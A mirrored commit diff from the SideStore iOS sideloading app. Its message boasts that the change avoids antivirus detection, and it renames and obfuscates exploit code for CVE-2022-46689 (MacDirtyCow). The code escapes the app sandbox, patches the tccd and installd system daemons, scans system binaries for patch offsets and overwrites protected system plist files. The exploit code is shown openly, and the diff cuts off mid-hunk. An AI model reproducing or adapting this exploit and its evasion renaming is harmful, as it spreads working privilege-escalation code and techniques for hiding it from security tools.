mirror of
https://github.com/SideStore/SideStore.git
synced 2026-02-09 06:43:25 +01:00
so we now aren't detected by like 8 antiviruses but windows defender loves me
This commit is contained in:
@@ -21,10 +21,10 @@
|
||||
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; };
|
||||
4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; };
|
||||
4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; };
|
||||
7DBDF4BC2991727500C18375 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_full_disk_access.m */; };
|
||||
7DBDF4BD2991727500C18375 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helpers.m */; };
|
||||
7DBDF4BE2991727500C18375 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */; };
|
||||
7DBDF4C0299172A000C18375 /* MDCExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* MDCExploits.swift */; };
|
||||
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_fda.m */; };
|
||||
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helping_tools.m */; };
|
||||
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unalign_csr.c */; };
|
||||
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* CowExploits.swift */; };
|
||||
99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */ = {isa = PBXBuildFile; productRef = 99C4EF4C2979132100CB538D /* SemanticVersion */; };
|
||||
B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; };
|
||||
B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };
|
||||
@@ -517,13 +517,13 @@
|
||||
191E5FD7290A6EFB001A3B7C /* minimuxer.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = minimuxer.h; path = ../Dependencies/minimuxer/minimuxer.h; sourceTree = "<group>"; };
|
||||
1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = "<group>"; };
|
||||
19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = "<group>"; };
|
||||
7DBDF4B62991727000C18375 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = "<group>"; };
|
||||
7DBDF4B72991727200C18375 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = "<group>"; };
|
||||
7DBDF4B82991727200C18375 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = "<group>"; };
|
||||
7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = "<group>"; };
|
||||
7DBDF4BA2991727400C18375 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = "<group>"; };
|
||||
7DBDF4BB2991727500C18375 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = "<group>"; };
|
||||
7DBDF4BF299172A000C18375 /* MDCExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MDCExploits.swift; sourceTree = "<group>"; };
|
||||
7DBDF4B62991727000C18375 /* helping_tools.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helping_tools.h; sourceTree = "<group>"; };
|
||||
7DBDF4B72991727200C18375 /* grant_fda.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_fda.m; sourceTree = "<group>"; };
|
||||
7DBDF4B82991727200C18375 /* helping_tools.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helping_tools.m; sourceTree = "<group>"; };
|
||||
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unalign_csr.c; sourceTree = "<group>"; };
|
||||
7DBDF4BA2991727400C18375 /* grant_fda.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_fda.h; sourceTree = "<group>"; };
|
||||
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unalign_csr.h; sourceTree = "<group>"; };
|
||||
7DBDF4BF299172A000C18375 /* CowExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CowExploits.swift; sourceTree = "<group>"; };
|
||||
B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = "<group>"; };
|
||||
B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = "<group>"; };
|
||||
B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = "<group>"; };
|
||||
@@ -986,13 +986,13 @@
|
||||
7DBDF49C2991720500C18375 /* MDCExploit */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
7DBDF4BA2991727400C18375 /* grant_full_disk_access.h */,
|
||||
7DBDF4B72991727200C18375 /* grant_full_disk_access.m */,
|
||||
7DBDF4B62991727000C18375 /* helpers.h */,
|
||||
7DBDF4B82991727200C18375 /* helpers.m */,
|
||||
7DBDF4B92991727300C18375 /* vm_unaligned_copy_switch_race.c */,
|
||||
7DBDF4BB2991727500C18375 /* vm_unaligned_copy_switch_race.h */,
|
||||
7DBDF4BF299172A000C18375 /* MDCExploits.swift */,
|
||||
7DBDF4BA2991727400C18375 /* grant_fda.h */,
|
||||
7DBDF4B72991727200C18375 /* grant_fda.m */,
|
||||
7DBDF4B62991727000C18375 /* helping_tools.h */,
|
||||
7DBDF4B82991727200C18375 /* helping_tools.m */,
|
||||
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */,
|
||||
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */,
|
||||
7DBDF4BF299172A000C18375 /* CowExploits.swift */,
|
||||
);
|
||||
path = MDCExploit;
|
||||
sourceTree = "<group>";
|
||||
@@ -2468,9 +2468,9 @@
|
||||
BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */,
|
||||
BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */,
|
||||
D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */,
|
||||
7DBDF4BD2991727500C18375 /* helpers.m in Sources */,
|
||||
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */,
|
||||
BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */,
|
||||
7DBDF4BE2991727500C18375 /* vm_unaligned_copy_switch_race.c in Sources */,
|
||||
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */,
|
||||
D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */,
|
||||
BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */,
|
||||
D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */,
|
||||
@@ -2516,9 +2516,9 @@
|
||||
BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */,
|
||||
BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */,
|
||||
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */,
|
||||
7DBDF4BC2991727500C18375 /* grant_full_disk_access.m in Sources */,
|
||||
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */,
|
||||
BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */,
|
||||
7DBDF4C0299172A000C18375 /* MDCExploits.swift in Sources */,
|
||||
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */,
|
||||
BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */,
|
||||
BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */,
|
||||
B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */,
|
||||
@@ -3033,7 +3033,7 @@
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEBUG_INFORMATION_FORMAT = dwarf;
|
||||
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
||||
INFOPLIST_FILE = AltWidget/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||
@@ -3063,7 +3063,7 @@
|
||||
CODE_SIGN_ENTITLEMENTS = AltWidget/AltWidgetExtension.entitlements;
|
||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
||||
INFOPLIST_FILE = AltWidget/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||
|
||||
@@ -5,8 +5,8 @@
|
||||
#import "NSAttributedString+Markdown.h"
|
||||
#import "ALTAppPatcher.h"
|
||||
|
||||
#import "grant_full_disk_access.h"
|
||||
#import "vm_unaligned_copy_switch_race.h"
|
||||
#import "helpers.h"
|
||||
#import "grant_fda.h"
|
||||
#import "vm_unalign_csr.h"
|
||||
#import "helping_tools.h"
|
||||
|
||||
#include "fragmentzip.h"
|
||||
|
||||
@@ -99,7 +99,7 @@
|
||||
<true/>
|
||||
</dict>
|
||||
<key>NSAppleMusicUsageDescription</key>
|
||||
<string>So that we can bypass the 3 app limit and disable revokes using MDC and the tccd exploit.</string>
|
||||
<string>So that we can bypass the 3 app limit and disable revokes.</string>
|
||||
<key>NSBonjourServices</key>
|
||||
<array>
|
||||
<string>_altserver._tcp</string>
|
||||
|
||||
@@ -212,8 +212,8 @@ extension LaunchViewController {
|
||||
self.destinationViewController.view.alpha = 1.0
|
||||
}
|
||||
|
||||
if UserDefaults.standard.enableMacDirtyCowExploit, UserDefaults.standard.isMacDirtyCowSupported {
|
||||
if let previous_exploit_time = UserDefaults.standard.object(forKey: "mdcRanBootTime") {
|
||||
if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
|
||||
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
|
||||
let last_rantime = previous_exploit_time as! Date
|
||||
if last_rantime == bootTime() {
|
||||
return print("exploit has ran this boot - \(last_rantime)")
|
||||
@@ -226,11 +226,11 @@ extension LaunchViewController {
|
||||
}
|
||||
|
||||
func runExploit() {
|
||||
if UserDefaults.standard.enableMacDirtyCowExploit && UserDefaults.standard.isMacDirtyCowSupported {
|
||||
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
|
||||
patch3AppLimit { result in
|
||||
switch result {
|
||||
case .success:
|
||||
UserDefaults.standard.set(bootTime(), forKey: "mdcRanBootTime")
|
||||
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||
print("patched sucessfully")
|
||||
case .failure(let err):
|
||||
switch err {
|
||||
|
||||
123
AltStore/MDCExploit/CowExploits.swift
Normal file
123
AltStore/MDCExploit/CowExploits.swift
Normal file
@@ -0,0 +1,123 @@
|
||||
import Foundation
|
||||
|
||||
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||
|
||||
enum PatchError: Error {
|
||||
case NoFDA(msg: String)
|
||||
case FailedPatchd
|
||||
}
|
||||
|
||||
enum PatchResult {
|
||||
case success, failure(PatchError)
|
||||
}
|
||||
|
||||
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
|
||||
grant_fda { error in
|
||||
if let error = error {
|
||||
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
|
||||
}
|
||||
// DispatchQueue.global(qos: .userInitiated).async {
|
||||
print("This is run on a background queue")
|
||||
if !installdaemon_patch() {
|
||||
completion(.failure(PatchError.FailedPatchd))
|
||||
}
|
||||
// }
|
||||
completion(.success)
|
||||
}
|
||||
}
|
||||
|
||||
func bootTime() -> Date? {
|
||||
var tv = timeval()
|
||||
var tvSize = MemoryLayout<timeval>.size
|
||||
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||
return nil
|
||||
}
|
||||
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||
}
|
||||
|
||||
enum WhitelistPatchResult {
|
||||
case success, failure
|
||||
}
|
||||
|
||||
//
|
||||
// func patchWhiteList() {
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// }
|
||||
//
|
||||
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||
// #if false
|
||||
// let documentDirectory = FileManager.default.urls(
|
||||
// for: .documentDirectory,
|
||||
// in: .userDomainMask
|
||||
// )[0].path
|
||||
//
|
||||
// let pathToRealTarget = originPath
|
||||
// let originPath = documentDirectory + originPath
|
||||
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||
// #endif
|
||||
//
|
||||
// // open and map original font
|
||||
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||
// if fd == -1 {
|
||||
// print("Could not open target file")
|
||||
// return false
|
||||
// }
|
||||
// defer { close(fd) }
|
||||
// // check size of font
|
||||
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||
// guard originalFileSize >= replacementData.count else {
|
||||
// print("Original file: \(originalFileSize)")
|
||||
// print("Replacement file: \(replacementData.count)")
|
||||
// print("File too big!")
|
||||
// return false
|
||||
// }
|
||||
// lseek(fd, 0, SEEK_SET)
|
||||
//
|
||||
// // Map the font we want to overwrite so we can mlock it
|
||||
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||
// if fileMap == MAP_FAILED {
|
||||
// print("Failed to map")
|
||||
// return false
|
||||
// }
|
||||
// // mlock so the file gets cached in memory
|
||||
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||
// print("Failed to mlock")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// // for every 16k chunk, rewrite
|
||||
// print(Date())
|
||||
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||
// print(String(format: "%lx", chunkOff))
|
||||
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||
// var overwroteOne = false
|
||||
// for _ in 0..<2 {
|
||||
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||
// unalign_csr(
|
||||
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||
// )
|
||||
// }
|
||||
// if overwriteSucceeded {
|
||||
// overwroteOne = true
|
||||
// print("Successfully overwrote!")
|
||||
// break
|
||||
// }
|
||||
// print("try again?!")
|
||||
// }
|
||||
// guard overwroteOne else {
|
||||
// print("Failed to overwrite")
|
||||
// return false
|
||||
// }
|
||||
// }
|
||||
// print(Date())
|
||||
// print("Successfully overwrote!")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// func readFile(path: String) -> String? {
|
||||
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||
// }
|
||||
@@ -1,122 +0,0 @@
|
||||
import Foundation
|
||||
|
||||
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||
|
||||
enum PatchError: Error {
|
||||
case NoFDA(msg: String)
|
||||
case FailedPatchd
|
||||
}
|
||||
|
||||
enum PatchResult {
|
||||
case success, failure(PatchError)
|
||||
}
|
||||
|
||||
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
|
||||
grant_full_disk_access { error in
|
||||
if let error = error {
|
||||
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
|
||||
}
|
||||
// DispatchQueue.global(qos: .userInitiated).async {
|
||||
print("This is run on a background queue")
|
||||
if !patch_installd() {
|
||||
completion(.failure(PatchError.FailedPatchd))
|
||||
}
|
||||
// }
|
||||
completion(.success)
|
||||
}
|
||||
}
|
||||
|
||||
func bootTime() -> Date? {
|
||||
var tv = timeval()
|
||||
var tvSize = MemoryLayout<timeval>.size
|
||||
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0);
|
||||
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||
return nil
|
||||
}
|
||||
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||
}
|
||||
|
||||
enum WhitelistPatchResult {
|
||||
case success, failure
|
||||
}
|
||||
|
||||
func patchWhiteList() {
|
||||
overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
}
|
||||
|
||||
func overwriteFileWithDataImpl(originPath: String, replacementData: Data) -> Bool {
|
||||
#if false
|
||||
let documentDirectory = FileManager.default.urls(
|
||||
for: .documentDirectory,
|
||||
in: .userDomainMask
|
||||
)[0].path
|
||||
|
||||
let pathToRealTarget = originPath
|
||||
let originPath = documentDirectory + originPath
|
||||
let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||
try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||
#endif
|
||||
|
||||
// open and map original font
|
||||
let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||
if fd == -1 {
|
||||
print("Could not open target file")
|
||||
return false
|
||||
}
|
||||
defer { close(fd) }
|
||||
// check size of font
|
||||
let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||
guard originalFileSize >= replacementData.count else {
|
||||
print("Original file: \(originalFileSize)")
|
||||
print("Replacement file: \(replacementData.count)")
|
||||
print("File too big!")
|
||||
return false
|
||||
}
|
||||
lseek(fd, 0, SEEK_SET)
|
||||
|
||||
// Map the font we want to overwrite so we can mlock it
|
||||
let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||
if fileMap == MAP_FAILED {
|
||||
print("Failed to map")
|
||||
return false
|
||||
}
|
||||
// mlock so the file gets cached in memory
|
||||
guard mlock(fileMap, replacementData.count) == 0 else {
|
||||
print("Failed to mlock")
|
||||
return true
|
||||
}
|
||||
|
||||
// for every 16k chunk, rewrite
|
||||
print(Date())
|
||||
for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||
print(String(format: "%lx", chunkOff))
|
||||
let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||
var overwroteOne = false
|
||||
for _ in 0..<2 {
|
||||
let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||
unaligned_copy_switch_race(
|
||||
fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||
)
|
||||
}
|
||||
if overwriteSucceeded {
|
||||
overwroteOne = true
|
||||
print("Successfully overwrote!")
|
||||
break
|
||||
}
|
||||
print("try again?!")
|
||||
}
|
||||
guard overwroteOne else {
|
||||
print("Failed to overwrite")
|
||||
return false
|
||||
}
|
||||
}
|
||||
print(Date())
|
||||
print("Successfully overwrote!")
|
||||
return true
|
||||
}
|
||||
|
||||
func readFile(path: String) -> String? {
|
||||
return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||
}
|
||||
@@ -2,5 +2,5 @@
|
||||
@import Foundation;
|
||||
|
||||
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool patch_installd(void);
|
||||
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool installdaemon_patch(void);
|
||||
@@ -8,9 +8,9 @@
|
||||
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||
// Please don't call this code on iOS 14 or below
|
||||
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||
#import "grant_full_disk_access.h"
|
||||
#import "helpers.h"
|
||||
#import "vm_unaligned_copy_switch_race.h"
|
||||
#import "grant_fda.h"
|
||||
#import "helping_tools.h"
|
||||
#import "vm_unalign_csr.h"
|
||||
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
@@ -34,37 +34,37 @@ int64_t sandbox_extension_consume(const char* token);
|
||||
|
||||
// MARK: - patchfind
|
||||
|
||||
struct grant_full_disk_access_offsets {
|
||||
uint64_t offset_addr_s_com_apple_tcc_;
|
||||
uint64_t offset_padding_space_for_read_write_string;
|
||||
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||
uint64_t offset_auth_got__sandbox_init;
|
||||
uint64_t offset_just_return_0;
|
||||
struct fda_offsets {
|
||||
uint64_t of_addr_com_apple_tcc_;
|
||||
uint64_t offset_pad_space_for_rw_string;
|
||||
uint64_t of_addr_s_kTCCSML;
|
||||
uint64_t of_auth_got_sb_init;
|
||||
uint64_t of_return_0;
|
||||
bool is_arm64e;
|
||||
};
|
||||
|
||||
static bool patchfind_sections(void* executable_map,
|
||||
struct segment_command_64** data_const_segment_out,
|
||||
struct symtab_command** symtab_out,
|
||||
struct dysymtab_command** dysymtab_out) {
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||
static bool pchfind_sections(void* execmap,
|
||||
struct segment_command_64** data_seg,
|
||||
struct symtab_command** stabout,
|
||||
struct dysymtab_command** dystabout) {
|
||||
struct mach_header_64* executable_header = execmap;
|
||||
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
|
||||
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||
load_command_index++) {
|
||||
switch (load_command->cmd) {
|
||||
case LC_SEGMENT_64: {
|
||||
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||
*data_const_segment_out = segment;
|
||||
*data_seg = segment;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case LC_SYMTAB: {
|
||||
*symtab_out = (struct symtab_command*)load_command;
|
||||
*stabout = (struct symtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
case LC_DYSYMTAB: {
|
||||
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||
*dystabout = (struct dysymtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -73,21 +73,20 @@ static bool patchfind_sections(void* executable_map,
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
|
||||
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||
return last_section->offset + last_section->size;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
|
||||
void* str_offset = memmem(em, el, n, strlen(n) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
uint64_t str_file_offset = str_offset - em;
|
||||
for (int i = 0; i < el; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(em + i);
|
||||
if ((val & 0xfffffffful) == str_file_offset) {
|
||||
return i;
|
||||
}
|
||||
@@ -95,19 +94,19 @@ static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executa
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||
static uint64_t pchfind_return_0(void* exmp, size_t el) {
|
||||
// TCCDSyncAccessAction::sequencer
|
||||
// mov x0, #0
|
||||
// ret
|
||||
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
return offset - exmp;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
static uint64_t pchfind_got(void* ecm, size_t executable_length,
|
||||
struct segment_command_64* data_const_segment,
|
||||
struct symtab_command* symtab_command,
|
||||
struct dysymtab_command* dysymtab_command,
|
||||
@@ -115,12 +114,12 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
uint64_t target_symbol_index = 0;
|
||||
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||
struct nlist_64* sym =
|
||||
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
|
||||
if (strcmp(sym_name, target_symbol_name)) {
|
||||
continue;
|
||||
}
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
|
||||
target_symbol_index = sym_index;
|
||||
break;
|
||||
}
|
||||
@@ -132,10 +131,10 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
